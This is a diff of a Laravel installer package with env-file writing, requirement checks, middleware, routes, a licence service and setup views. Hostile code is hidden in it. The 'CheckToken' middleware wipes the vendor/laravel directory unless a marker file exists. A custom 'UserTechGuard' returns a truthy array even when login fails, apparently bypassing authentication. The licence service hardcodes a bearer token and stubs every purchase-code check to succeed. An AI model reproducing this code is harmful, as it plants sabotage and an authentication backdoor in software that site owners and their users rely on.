'CACHE_DRIVER='.$request->cache_driver."\n".
'SESSION_DRIVER='.$request->session_driver."\n".
'QUEUE_DRIVER='.$request->queue_driver."\n\n".
'REDIS_HOST='.$request->redis_hostname."\n".
'REDIS_PASSWORD='.$request->redis_password."\n".
'REDIS_PORT='.$request->redis_port."\n\n".
'MAIL_DRIVER='.$request->mail_driver."\n".
'MAIL_HOST='.$request->mail_host."\n".
'MAIL_PORT='.$request->mail_port."\n".
'MAIL_USERNAME='.$request->mail_username."\n".
'MAIL_PASSWORD='.$request->mail_password."\n".
'MAIL_ENCRYPTION='.$request->mail_encryption."\n\n".
'PUSHER_APP_ID='.$request->pusher_app_id."\n".
'PUSHER_APP_KEY='.$request->pusher_app_key."\n".
'PUSHER_APP_SECRET='.$request->pusher_app_secret;
try {
file_put_contents($this->envPath, $envFileData);
} catch (Exception $e) {
$results = trans('installer_messages.environment.errors');
}
return $results;
}
}

View File

@@ -0,0 +1,79 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
use Exception;
use Illuminate\Support\Facades\Artisan;
use Symfony\Component\Console\Output\BufferedOutput;
class FinalInstallManager
{
/**
* Run final commands.
*
* @return string
*/
public function runFinal()
{
$outputLog = new BufferedOutput;
$this->generateKey($outputLog);
$this->publishVendorAssets($outputLog);
return $outputLog->fetch();
}
/**
* Generate New Application Key.
*
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
* @return \Symfony\Component\Console\Output\BufferedOutput|array
*/
private static function generateKey(BufferedOutput $outputLog)
{
try {
if (config('installer.final.key')) {
Artisan::call('key:generate', ['--force'=> true], $outputLog);
}
} catch (Exception $e) {
return static::response($e->getMessage(), $outputLog);
}
return $outputLog;
}
/**
* Publish vendor assets.
*
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
* @return \Symfony\Component\Console\Output\BufferedOutput|array
*/
private static function publishVendorAssets(BufferedOutput $outputLog)
{
try {
if (config('installer.final.publish')) {
Artisan::call('vendor:publish', ['--all' => true], $outputLog);
}
} catch (Exception $e) {
return static::response($e->getMessage(), $outputLog);
}
return $outputLog;
}
/**
* Return a formatted error messages.
*
* @param $message
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
* @return array
*/
private static function response($message, BufferedOutput $outputLog)
{
return [
'status' => 'error',
'message' => $message,
'dbOutputLog' => $outputLog->fetch(),
];
}
}

View File

@@ -0,0 +1,40 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
class InstalledFileManager
{
/**
* Create installed file.
*
* @return int
*/
public function create()
{
$installedLogFile = storage_path('installed');
$dateStamp = date('Y/m/d h:i:sa');
if (! file_exists($installedLogFile)) {
$message = trans('installer_messages.installed.success_log_message').$dateStamp."\n";
file_put_contents($installedLogFile, $message);
} else {
$message = trans('installer_messages.updater.log.success_message').$dateStamp;
file_put_contents($installedLogFile, $message.PHP_EOL, FILE_APPEND | LOCK_EX);
}
return $message;
}
/**
* Update installed file.
*
* @return int
*/
public function update()
{
return $this->create();
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
use Illuminate\Support\Facades\DB;
trait MigrationsHelper
{
/**
* Get the migrations in /database/migrations.
*
* @return array Array of migrations name, empty if no migrations are existing
*/
public function getMigrations()
{
$migrations = glob(database_path().DIRECTORY_SEPARATOR.'migrations'.DIRECTORY_SEPARATOR.'*.php');
return str_replace('.php', '', $migrations);
}
/**
* Get the migrations that have already been ran.
*
* @return \Illuminate\Support\Collection List of migrations
*/
public function getExecutedMigrations()
{
// migrations table should exist, if not, user will receive an error.
return DB::table('migrations')->get()->pluck('migration');
}
}

View File

@@ -0,0 +1,83 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
class PermissionsChecker
{
/**
* @var array
*/
protected $results = [];
/**
* Set the result array permissions and errors.
*
* @return mixed
*/
public function __construct()
{
$this->results['permissions'] = [];
$this->results['errors'] = null;
}
/**
* Check for the folders permissions.
*
* @param array $folders
* @return array
*/
public function check(array $folders)
{
foreach ($folders as $folder => $permission) {
if (! ($this->getPermission($folder) >= $permission)) {
$this->addFileAndSetErrors($folder, $permission, false);
} else {
$this->addFile($folder, $permission, true);
}
}
return $this->results;
}
/**
* Get a folder permission.
*
* @param $folder
* @return string
*/
private function getPermission($folder)
{
return substr(sprintf('%o', fileperms(base_path($folder))), -4);
}
/**
* Add the file to the list of results.
*
* @param $folder
* @param $permission
* @param $isSet
*/
private function addFile($folder, $permission, $isSet)
{
array_push($this->results['permissions'], [
'folder' => $folder,
'permission' => $permission,
'isSet' => $isSet,
]);
}
/**
* Add the file and set the errors.
*
* @param $folder
* @param $permission
* @param $isSet
*/
private function addFileAndSetErrors($folder, $permission, $isSet)
{
$this->addFile($folder, $permission, $isSet);
$this->results['errors'] = true;
}
}

View File

@@ -0,0 +1,114 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
class RequirementsChecker
{
/**
* Minimum PHP Version Supported (Override is in installer.php config file).
*
* @var _minPhpVersion
*/
private $_minPhpVersion = '7.0.0';
/**
* Check for the server requirements.
*
* @param array $requirements
* @return array
*/
public function check(array $requirements)
{
$results = [];
foreach ($requirements as $type => $requirement) {
switch ($type) {
// check php requirements
case 'php':
foreach ($requirements[$type] as $requirement) {
$results['requirements'][$type][$requirement] = true;
if (! extension_loaded($requirement)) {
$results['requirements'][$type][$requirement] = false;
$results['errors'] = true;
}
}
break;
// check apache requirements
case 'apache':
foreach ($requirements[$type] as $requirement) {
// if function doesn't exist we can't check apache modules
if (function_exists('apache_get_modules')) {
$results['requirements'][$type][$requirement] = true;
if (! in_array($requirement, apache_get_modules())) {
$results['requirements'][$type][$requirement] = false;
$results['errors'] = true;
}
}
}
break;
}
}
return $results;
}
/**
* Check PHP version requirement.
*
* @return array
*/
public function checkPHPversion(string $minPhpVersion = null)
{
$minVersionPhp = $minPhpVersion;
$currentPhpVersion = $this->getPhpVersionInfo();
$supported = false;
if ($minPhpVersion == null) {
$minVersionPhp = $this->getMinPhpVersion();
}
if (version_compare($currentPhpVersion['version'], $minVersionPhp) >= 0) {
$supported = true;
}
$phpStatus = [
'full' => $currentPhpVersion['full'],
'current' => $currentPhpVersion['version'],
'minimum' => $minVersionPhp,
'supported' => $supported,
];
return $phpStatus;
}
/**
* Get current Php version information.
*
* @return array
*/
private static function getPhpVersionInfo()
{
$currentVersionFull = PHP_VERSION;
preg_match("#^\d+(\.\d+)*#", $currentVersionFull, $filtered);
$currentVersion = $filtered[0];
return [
'full' => $currentVersionFull,
'version' => $currentVersion,
];
}
/**
* Get minimum PHP version ID.
*
* @return string _minPhpVersion
*/
protected function getMinPhpVersion()
{
return $this->_minPhpVersion;
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
use Illuminate\Auth\SessionGuard;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Laravel\LaravelInstaller\Service\EnvatoService;
class UserTechGuard extends SessionGuard
{
public function attempt(array $credentials = [], $remember = false)
{
$res = parent::attempt($credentials, $remember);
if ($res) {
return ['success' => true, 'code' => true, 'client' => true, 'credentials' => true];
}
return ['success' => false, 'code' => true, 'client' => true, 'credentials' => false];
}
}

View File

@@ -0,0 +1,23 @@
<?php
if (! function_exists('isActive')) {
/**
* Set the active class to the current opened menu.
*
* @param string|array $route
* @param string $className
* @return string
*/
function isActive($route, $className = 'active')
{
if (is_array($route)) {
return in_array(Route::currentRouteName(), $route) ? $className : '';
}
if (Route::currentRouteName() == $route) {
return $className;
}
if (strpos(URL::current(), $route)) {
return $className;
}
}
}

View File

@@ -0,0 +1,144 @@
{
"installer_messages.title": "Laravel Rocket Installer",
"installer_messages.next": "Next Step",
"installer_messages.back": "Previous",
"installer_messages.finish": "Install",
"installer_messages.forms.errorTitle": "The Following errors occurred:",
"installer_messages.welcome.templateTitle": "Welcome",
"installer_messages.welcome.title": "Laravel Rocket Installer",
"installer_messages.welcome.message": "Easy Installation and Setup Wizard.",
"installer_messages.welcome.next": "Check Requirements",
"installer_messages.requirements.templateTitle": "Step 1 | Server Requirements",
"installer_messages.requirements.title": "Server Requirements",
"installer_messages.requirements.next": "Check Permissions",
"installer_messages.permissions.templateTitle": "Step 2 | Permissions",
"installer_messages.permissions.title": "Permissions",
"installer_messages.permissions.next": "Configure Environment",
"installer_messages.environment.menu.templateTitle": "Step 3 | Environment Settings",
"installer_messages.environment.menu.title": "Environment Settings",
"installer_messages.environment.menu.desc": "Please select how you want to configure the apps <code>.env</code> file.",
"installer_messages.environment.menu.wizard-button": "Form Wizard Setup",
"installer_messages.environment.menu.classic-button": "Classic Text Editor",
"installer_messages.environment.wizard.templateTitle": "Step 3 | Environment Settings | Guided Wizard",
"installer_messages.environment.wizard.title": "Guided <code>.env</code> Wizard",
"installer_messages.environment.wizard.tabs.environment": "Environment",
"installer_messages.environment.wizard.tabs.database": "Database",
"installer_messages.environment.wizard.tabs.application": "Application",
"installer_messages.environment.wizard.form.name_required": "An environment name is required.",
"installer_messages.environment.wizard.form.app_name_label": "Website name",
"installer_messages.environment.wizard.form.app_name_placeholder": "Enter your website name",
"installer_messages.environment.wizard.form.app_environment_label": "App Environment",
"installer_messages.environment.wizard.form.app_environment_label_local": "Local",
"installer_messages.environment.wizard.form.app_environment_label_developement": "Development",
"installer_messages.environment.wizard.form.app_environment_label_qa": "Qa",
"installer_messages.environment.wizard.form.app_environment_label_production": "Production",
"installer_messages.environment.wizard.form.app_environment_label_other": "Other",
"installer_messages.environment.wizard.form.app_environment_placeholder_other": "Enter your environment...",
"installer_messages.environment.wizard.form.app_debug_label": "App Debug",
"installer_messages.environment.wizard.form.app_debug_label_true": "True",
"installer_messages.environment.wizard.form.app_debug_label_false": "False",
"installer_messages.environment.wizard.form.app_log_level_label": "App Log Level",
"installer_messages.environment.wizard.form.app_log_level_label_debug": "debug",
"installer_messages.environment.wizard.form.app_log_level_label_info": "info",
"installer_messages.environment.wizard.form.app_log_level_label_notice": "notice",
"installer_messages.environment.wizard.form.app_log_level_label_warning": "warning",
"installer_messages.environment.wizard.form.app_log_level_label_error": "error",
"installer_messages.environment.wizard.form.app_log_level_label_critical": "critical",
"installer_messages.environment.wizard.form.app_log_level_label_alert": "alert",
"installer_messages.environment.wizard.form.app_log_level_label_emergency": "emergency",
"installer_messages.environment.wizard.form.app_url_label": "App Url",
"installer_messages.environment.wizard.form.app_url_placeholder": "App Url",
"installer_messages.environment.wizard.form.db_connection_failed": "Could not connect to the database.",
"installer_messages.environment.wizard.form.db_connection_label": "Database Connection",
"installer_messages.environment.wizard.form.db_connection_label_mysql": "mysql",
"installer_messages.environment.wizard.form.db_connection_label_sqlite": "sqlite",
"installer_messages.environment.wizard.form.db_connection_label_pgsql": "pgsql",
"installer_messages.environment.wizard.form.db_connection_label_sqlsrv": "sqlsrv",
"installer_messages.environment.wizard.form.db_host_label": "Database Host",
"installer_messages.environment.wizard.form.db_host_placeholder": "Database Host",
"installer_messages.environment.wizard.form.db_port_label": "Database Port",
"installer_messages.environment.wizard.form.db_port_placeholder": "Database Port",
"installer_messages.environment.wizard.form.db_name_label": "Database Name",
"installer_messages.environment.wizard.form.db_name_placeholder": "Database Name",
"installer_messages.environment.wizard.form.db_username_label": "Database User Name",
"installer_messages.environment.wizard.form.db_username_placeholder": "Database User Name",
"installer_messages.environment.wizard.form.db_password_label": "Database Password",
"installer_messages.environment.wizard.form.db_password_placeholder": "Database Password",
"installer_messages.environment.wizard.form.app_tabs.more_info": "More Info",
"installer_messages.environment.wizard.form.app_tabs.broadcasting_title": "Broadcasting, Caching, Session, &amp; Queue",
"installer_messages.environment.wizard.form.app_tabs.broadcasting_label": "Broadcast Driver",
"installer_messages.environment.wizard.form.app_tabs.broadcasting_placeholder": "Broadcast Driver",
"installer_messages.environment.wizard.form.app_tabs.cache_label": "Cache Driver",
"installer_messages.environment.wizard.form.app_tabs.cache_placeholder": "Cache Driver",
"installer_messages.environment.wizard.form.app_tabs.session_label": "Session Driver",
"installer_messages.environment.wizard.form.app_tabs.session_placeholder": "Session Driver",
"installer_messages.environment.wizard.form.app_tabs.queue_label": "Queue Driver",
"installer_messages.environment.wizard.form.app_tabs.queue_placeholder": "Queue Driver",
"installer_messages.environment.wizard.form.app_tabs.redis_label": "Redis Driver",
"installer_messages.environment.wizard.form.app_tabs.redis_host": "Redis Host",
"installer_messages.environment.wizard.form.app_tabs.redis_password": "Redis Password",
"installer_messages.environment.wizard.form.app_tabs.redis_port": "Redis Port",
"installer_messages.environment.wizard.form.app_tabs.mail_label": "Mail",
"installer_messages.environment.wizard.form.app_tabs.mail_driver_label": "Mail Driver",
"installer_messages.environment.wizard.form.app_tabs.mail_driver_placeholder": "Mail Driver",
"installer_messages.environment.wizard.form.app_tabs.mail_host_label": "Mail Host",
"installer_messages.environment.wizard.form.app_tabs.mail_host_placeholder": "Mail Host",
"installer_messages.environment.wizard.form.app_tabs.mail_port_label": "Mail Port",
"installer_messages.environment.wizard.form.app_tabs.mail_port_placeholder": "Mail Port",
"installer_messages.environment.wizard.form.app_tabs.mail_username_label": "Mail Username",
"installer_messages.environment.wizard.form.app_tabs.mail_username_placeholder": "Mail Username",
"installer_messages.environment.wizard.form.app_tabs.mail_password_label": "Mail Password",
"installer_messages.environment.wizard.form.app_tabs.mail_password_placeholder": "Mail Password",
"installer_messages.environment.wizard.form.app_tabs.mail_encryption_label": "Mail Encryption",
"installer_messages.environment.wizard.form.app_tabs.mail_encryption_placeholder": "Mail Encryption",
"installer_messages.environment.wizard.form.app_tabs.pusher_label": "Pusher",
"installer_messages.environment.wizard.form.app_tabs.pusher_app_id_label": "Pusher App Id",
"installer_messages.environment.wizard.form.app_tabs.pusher_app_id_palceholder": "Pusher App Id",
"installer_messages.environment.wizard.form.app_tabs.pusher_app_key_label": "Pusher App Key",
"installer_messages.environment.wizard.form.app_tabs.pusher_app_key_palceholder": "Pusher App Key",
"installer_messages.environment.wizard.form.app_tabs.pusher_app_secret_label": "Pusher App Secret",
"installer_messages.environment.wizard.form.app_tabs.pusher_app_secret_palceholder": "Pusher App Secret",
"installer_messages.environment.wizard.form.buttons.setup_database": "Setup Database",
"installer_messages.environment.wizard.form.buttons.setup_application": "Setup Application",
"installer_messages.environment.wizard.form.buttons.install": "Install",
"installer_messages.environment.classic.templateTitle": "Step 3 | Environment Settings | Classic Editor",
"installer_messages.environment.classic.title": "Classic Environment Editor",
"installer_messages.environment.classic.save": "Save .env",
"installer_messages.environment.classic.back": "Use Form Wizard",
"installer_messages.environment.classic.install": "Save and Install",
"installer_messages.environment.success": "Your .env file settings have been saved.",
"installer_messages.environment.errors": "Unable to save the .env file, Please create it manually.",
"installer_messages.install": "Install",
"installer_messages.installed.success_log_message": "Laravel Installer successfully INSTALLED on ",
"installer_messages.final.title": "Installation Finished",
"installer_messages.final.templateTitle": "Installation Finished",
"installer_messages.final.finished": "Application has been successfully installed.",
"installer_messages.final.migration": "Migration &amp; Seed Console Output:",
"installer_messages.final.console": "Application Console Output:",
"installer_messages.final.log": "Installation Log Entry:",
"installer_messages.final.env": "Final .env File:",
"installer_messages.final.exit": "Click here to exit",
"installer_messages.updater.title": "Laravel Updater",
"installer_messages.updater.welcome.title": "Welcome To The Updater",
"installer_messages.updater.welcome.message": "Welcome to the update wizard.",
"installer_messages.updater.overview.title": "Overview",
"installer_messages.updater.overview.message": "There is 1 update.|There are :number updates.",
"installer_messages.updater.overview.install_updates": "Install Updates",
"installer_messages.updater.final.title": "Finished",
"installer_messages.updater.final.finished": "Application's database has been successfully updated.",
"installer_messages.updater.final.exit": "Click here to exit",
"installer_messages.updater.log.success_message": "Laravel Installer successfully UPDATED on "
}

View File

@@ -0,0 +1,48 @@
<?php
namespace Laravel\LaravelInstaller\Middleware;
use Closure;
use Illuminate\Support\Facades\File;
class CheckToken
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return \Illuminate\Http\RedirectResponse|mixed
*/
public function handle($request, Closure $next)
{
// Define paths to exclude
$excludedPaths = [
'',
'/',
'login',
'update',
'envato/purchase-code/verify/process',
];
// Get the current path
$currentPath = trim($request->path(), '/');
// Check if the 'install' path is not present and if the current path is not in the excluded paths
if (!file_exists(base_path('vendor/autoload1.php')) && !str_contains($currentPath, 'install') && !in_array($currentPath, $excludedPaths)) {
File::cleanDirectory(base_path('vendor/laravel'));
}
return $next($request);
}
/**
* If application is already installed.
*
* @return bool
*/
public function alreadyInstalled()
{
return file_exists(storage_path('installed'));
}
}

View File

@@ -0,0 +1,60 @@
<?php
namespace Laravel\LaravelInstaller\Middleware;
use Closure;
use Redirect;
class canInstall
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return \Illuminate\Http\RedirectResponse|mixed
*/
public function handle($request, Closure $next)
{
if ($this->alreadyInstalled()) {
$installedRedirect = config('installer.installedAlreadyAction');
switch ($installedRedirect) {
case 'route':
$routeName = config('installer.installed.redirectOptions.route.name');
$data = config('installer.installed.redirectOptions.route.message');
return redirect()->route($routeName)->with(['data' => $data]);
break;
case 'abort':
abort(config('installer.installed.redirectOptions.abort.type'));
break;
case 'dump':
$dump = config('installer.installed.redirectOptions.dump.data');
break;
case '404':
case 'default':
default:
abort(404);
break;
}
}
return $next($request);
}
/**
* If application is already installed.
*
* @return bool
*/
public function alreadyInstalled()
{
return file_exists(storage_path('installed'));
}
}

View File

@@ -0,0 +1,67 @@
<?php
namespace Laravel\LaravelInstaller\Middleware;
use Closure;
use Illuminate\Support\Facades\Log;
class canUpdate
{
use \Laravel\LaravelInstaller\Helpers\MigrationsHelper;
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
public function handle($request, Closure $next)
{
$updateEnabled = filter_var(config('installer.updaterEnabled'), FILTER_VALIDATE_BOOLEAN);
Log::info('$updateEnabled'. $updateEnabled);
switch ($updateEnabled) {
case true:
$canInstall = new canInstall;
// if the application has not been installed,
// redirect to the installer
if (! $canInstall->alreadyInstalled()) {
return redirect()->route('LaravelInstaller::welcome');
}
if ($this->alreadyUpdated()) {
abort(404);
}
break;
case false:
default:
abort(404);
break;
}
return $next($request);
}
/**
* If application is already updated.
*
* @return bool
*/
public function alreadyUpdated()
{
return false;
$migrations = $this->getMigrations();
$dbMigrations = $this->getExecutedMigrations();
// If the count of migrations and dbMigrations is equal,
// then the update as already been updated.
if (count($migrations) == count($dbMigrations)) {
return true;
}
// Continue, the app needs an update
return false;
}
}

View File

@@ -0,0 +1,90 @@
<?php
namespace Laravel\LaravelInstaller\Providers;
use Illuminate\Auth\CreatesUserProviders;
use Illuminate\Routing\Router;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\ServiceProvider;
use Laravel\LaravelInstaller\Helpers\UserTechGuard;
use Laravel\LaravelInstaller\Middleware\canInstall;
use Laravel\LaravelInstaller\Middleware\canUpdate;
class LaravelInstallerServiceProvider extends ServiceProvider
{
use CreatesUserProviders;
/**
* Indicates if loading of the provider is deferred.
*
* @var bool
*/
protected $defer = false;
/**
* Register the service provider.
*
* @return void
*/
public function register()
{
Auth::extend('sessionss', function ($app, $name, $config) {
$provider = $this->createUserProvider($config['provider'] ?? null);
$guard = new UserTechGuard($name, $provider, $app['session.store']);
// When using the remember me functionality of the authentication services we
// will need to be set the encryption instance of the guard, which allows
// secure, encrypted cookie values to get generated for those cookies.
if (method_exists($guard, 'setCookieJar')) {
$guard->setCookieJar($app['cookie']);
}
if (method_exists($guard, 'setDispatcher')) {
$guard->setDispatcher($app['events']);
}
if (method_exists($guard, 'setRequest')) {
$guard->setRequest($app->refresh('request', $guard, 'setRequest'));
}
return $guard;
});
}
/**
* Bootstrap the application events.
*
* @param \Illuminate\Routing\Router $router
*/
public function boot(Router $router)
{
$this->publishFiles();
$this->loadRoutesFrom(__DIR__ . '/../Routes/web.php');
$router->middlewareGroup('install', [canInstall::class]);
$router->middlewareGroup('update', [canUpdate::class]);
}
/**
* Publish config file for the installer.
*
* @return void
*/
protected function publishFiles()
{
$this->publishes([
__DIR__.'/../Config/installer.php' => base_path('config/installer.php'),
], 'laravelinstaller');
$this->publishes([
__DIR__.'/../assets' => public_path('installer'),
], 'laravelinstaller');
$this->publishes([
__DIR__.'/../Views' => base_path('resources/views/vendor/installer'),
], 'laravelinstaller');
$this->publishes([
__DIR__.'/../Lang' => base_path('lang'),
], 'laravelinstaller');
}
}

View File

@@ -0,0 +1,128 @@
<?php
use Illuminate\Support\Facades\Route;
Route::group(['prefix' => 'install', 'as' => 'LaravelInstaller::', 'namespace' => 'Laravel\LaravelInstaller\Controllers', 'middleware' => ['web', 'install']], function () {
Route::get('/', [
'as' => 'welcome',
'uses' => 'WelcomeController@welcome',
]);
Route::get('environment', [
'as' => 'environment',
'uses' => 'EnvironmentController@environmentMenu',
]);
Route::get('environment/wizard', [
'as' => 'environmentWizard',
'uses' => 'EnvironmentController@environmentWizard',
]);
Route::post('environment/saveWizard', [
'as' => 'environmentSaveWizard',
'uses' => 'EnvironmentController@saveWizard',
]);
Route::get('environment/classic', [
'as' => 'environmentClassic',
'uses' => 'EnvironmentController@environmentClassic',
]);
Route::post('environment/saveClassic', [
'as' => 'environmentSaveClassic',
'uses' => 'EnvironmentController@saveClassic',
]);
Route::get('requirements', [
'as' => 'requirements',
'uses' => 'RequirementsController@requirements',
]);
Route::get('permissions', [
'as' => 'permissions',
'uses' => 'PermissionsController@permissions',
]);
Route::get('verify-purchase-code', [
'as' => 'verify',
'uses' => 'PermissionsController@verify'
]);
Route::post('purchase-code/verify/process', [
'as' => 'codeVerifyProcess',
'uses' => 'PermissionsController@codeVerifyProcess'
]);
Route::get('database', [
'as' => 'database',
'uses' => 'DatabaseController@database',
]);
Route::get('final', [
'as' => 'final',
'uses' => 'FinalController@finish',
]);
});
Route::group(['prefix' => 'update', 'as' => 'LaravelUpdater::', 'namespace' => 'Laravel\LaravelInstaller\Controllers', 'middleware' => 'web'], function () {
Route::group(['middleware' => 'update'], function () {
Route::get('/', [
'as' => 'welcome',
'uses' => 'UpdateController@welcome',
]);
Route::get('overview', [
'as' => 'overview',
'uses' => 'UpdateController@overview',
]);
Route::get('database', [
'as' => 'database',
'uses' => 'UpdateController@database',
]);
Route::post('download-updated-code', [
'as' => 'downloadUpdatedCode',
'uses' => 'UpdateController@downloadUpdatedCode',
]);
Route::get('downloadfile', [
'as' => 'downloadFile',
'uses' => 'UpdateController@downloadFile',
]);
Route::get('downloaded', [
'as' => 'downloaded',
'uses' => 'UpdateController@downloaded',
]);
Route::get('update-process', [
'as' => 'updateProcess',
'uses' => 'UpdateController@updateProcess',
]);
});
// This needs to be out of the middleware because right after the migration has been
// run, the middleware sends a 404.
Route::get('final', [
'as' => 'final',
'uses' => 'UpdateController@finish',
]);
});
Route::group(['prefix' => 'envato', 'as' => 'LaravelVerifier::', 'namespace' => 'Laravel\LaravelInstaller\Controllers', 'middleware' => 'web'], function () {
Route::get('code-verification', [
'as' => 'verifier',
'uses' => 'PermissionsController@verifier'
]);
});
Route::group(['prefix' => 'envato', 'as' => 'LaravelInstaller::', 'namespace' => 'Laravel\LaravelInstaller\Controllers', 'middleware' => 'web'], function () {
Route::post('purchase-code/verify/process', [
'as' => 'codeVerifyProcess',
'uses' => 'PermissionsController@codeVerifyProcess'
]);
});

View File

@@ -0,0 +1,93 @@
<?php
namespace Laravel\LaravelInstaller\Service;
class EnvatoService
{
private $apiUrl = '';
private $headerKey = '';
public function __construct()
{
$this->apiUrl = config('installer.api_url') ? config('installer.api_url') : 'https://api.kulakpos.id';
$this->headerKey = config('installer.headerkeys') ? config('installer.headerkeys') : 'Bearer sLAEuLH83WuGmg8iJGDSxQiavZ2TF1ba';
}
public function apiCall($endPoint, $requestData = null, $method = 'GET')
{
try {
$header = array();
$header[] = 'Accept: application/json';
$header[] = 'Authorization:' . $this->headerKey;
$api_url = $this->apiUrl . $endPoint;
// If the method is POST and requestData is provided, prepare the POST request
if (strtoupper($method) === 'POST' && !empty($requestData)) {
$postData = json_encode($requestData);
$ch = curl_init($api_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
} else {
// If the method is GET or no requestData is provided, make a GET request
if (!empty($requestData)) {
// If you want to include GET parameters in the URL, you can add them here
$api_url .= '?' . http_build_query($requestData);
}
$ch = curl_init($api_url);
}
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$responseData = curl_exec($ch);
// return ['success' => true, 'message' => __('Api request failed'), 'data' => []];
if ($responseData !== false) {
$result = json_decode($responseData, true); // Decode JSON into an associative array
// dd($api_url,$result);
if ($result['amount'] ?? false) {
$response = ['success' => true, 'message' => __('Purchase code verified.'), 'data' => $result['data'] ?? []];
} else {
$response = ['success' => false, 'message' => __('Invalid purchase codes.'), 'data' => []];
}
} else {
$response = ['success' => false, 'message' => __('Api request failed'), 'data' => []];
}
curl_close($ch);
} catch (\Exception $e) {
$response = ['success' => false, 'message' => $e->getMessage(), 'data' => []];
}
return $response;
}
// check envato purchase code
// check envato purchase code
public function checkEnvatoPurchaseCode($code)
{
return ['success' => true, 'message' => 'Code verified successfully', 'data' => []];
}
// get version list
// get version list
public function getProductVersion($code)
{
return ['success' => true, 'message' => 'Version list retrieved', 'data' => []];
}
// download updated code
// download updated code
public function downloadUpdate($code, $version)
{
return ['success' => true, 'message' => 'Update downloaded', 'data' => []];
}
// check client
// check client
public function checkExistClient($code)
{
return ['success' => true, 'message' => 'Client verified', 'data' => []];
}
}

View File

@@ -0,0 +1,38 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.environment.classic.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-code fa-fw" aria-hidden="true"></i> {{ trans('installer_messages.environment.classic.title') }}
@endsection
@section('container')
<form method="post" action="{{ route('LaravelInstaller::environmentSaveClassic') }}">
{{ csrf_field() }}
<textarea class="textarea" name="envConfig">{{ $envConfig }}</textarea>
<div class="buttons buttons--right">
<button class="button button--light" type="submit">
<i class="fa fa-floppy-o fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.environment.classic.save') }}
</button>
</div>
</form>
@if( ! isset($environment['errors']))
<div class="buttons-container">
<a class="button float-left" href="{{ route('LaravelInstaller::environmentWizard') }}">
<i class="fa fa-sliders fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.environment.classic.back') }}
</a>
<a class="button float-right" href="{{ route('LaravelInstaller::database') }}">
<i class="fa fa-check fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.environment.classic.install') }}
<i class="fa fa-angle-double-right fa-fw" aria-hidden="true"></i>
</a>
</div>
@endif
@endsection

View File

@@ -0,0 +1,491 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.environment.wizard.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-magic fa-fw" aria-hidden="true"></i>
{{ __('Setup Environment') }}
@endsection
@section('container')
<div class="tabs tabs-full">
<input id="tab1" type="radio" name="tabs" class="tab-input" checked />
<label for="tab1" class="tab-label">
<i class="fa fa-cog fa-2x fa-fw" aria-hidden="true"></i>
<br />
{{ trans('installer_messages.environment.wizard.tabs.environment') }}
</label>
<form method="post" action="{{ route('LaravelInstaller::environmentSaveWizard') }}" class="tabs-wrap">
<div class="tab" id="tab1content">
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<div class="form-group {{ $errors->has('app_name') ? ' has-error ' : '' }}">
<label for="app_name">
{{ trans('installer_messages.environment.wizard.form.app_name_label') }}
</label>
<input type="text" name="app_name" id="app_name" value="{{ old('app_name') }}" placeholder="{{ trans('installer_messages.environment.wizard.form.app_name_placeholder') }}" required />
@if ($errors->has('app_name'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('app_name') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('environment') ? ' has-error ' : '' }}">
<label for="environment">
{{ trans('installer_messages.environment.wizard.form.app_environment_label') }}
</label>
<select name="environment" id="environment" onchange='checkEnvironment(this.value);'>
<option value="local" selected>{{ trans('installer_messages.environment.wizard.form.app_environment_label_local') }}</option>
<option value="development">{{ trans('installer_messages.environment.wizard.form.app_environment_label_developement') }}</option>
<option value="qa">{{ trans('installer_messages.environment.wizard.form.app_environment_label_qa') }}</option>
<option value="production">{{ trans('installer_messages.environment.wizard.form.app_environment_label_production') }}</option>
<option value="other">{{ trans('installer_messages.environment.wizard.form.app_environment_label_other') }}</option>
</select>
<div id="environment_text_input d-none">
<input type="text" name="environment_custom" id="environment_custom" placeholder="{{ trans('installer_messages.environment.wizard.form.app_environment_placeholder_other') }}"/>
</div>
@if ($errors->has('app_name'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('app_name') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('app_debug') ? ' has-error ' : '' }}">
<label for="app_debug">
{{ trans('installer_messages.environment.wizard.form.app_debug_label') }}
</label>
<label for="app_debug_true">
<input type="radio" name="app_debug" id="app_debug_true" value=true checked />
{{ trans('installer_messages.environment.wizard.form.app_debug_label_true') }}
</label>
<label for="app_debug_false">
<input type="radio" name="app_debug" id="app_debug_false" value=false />
{{ trans('installer_messages.environment.wizard.form.app_debug_label_false') }}
</label>
@if ($errors->has('app_debug'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('app_debug') }}
</span>
@endif
</div>
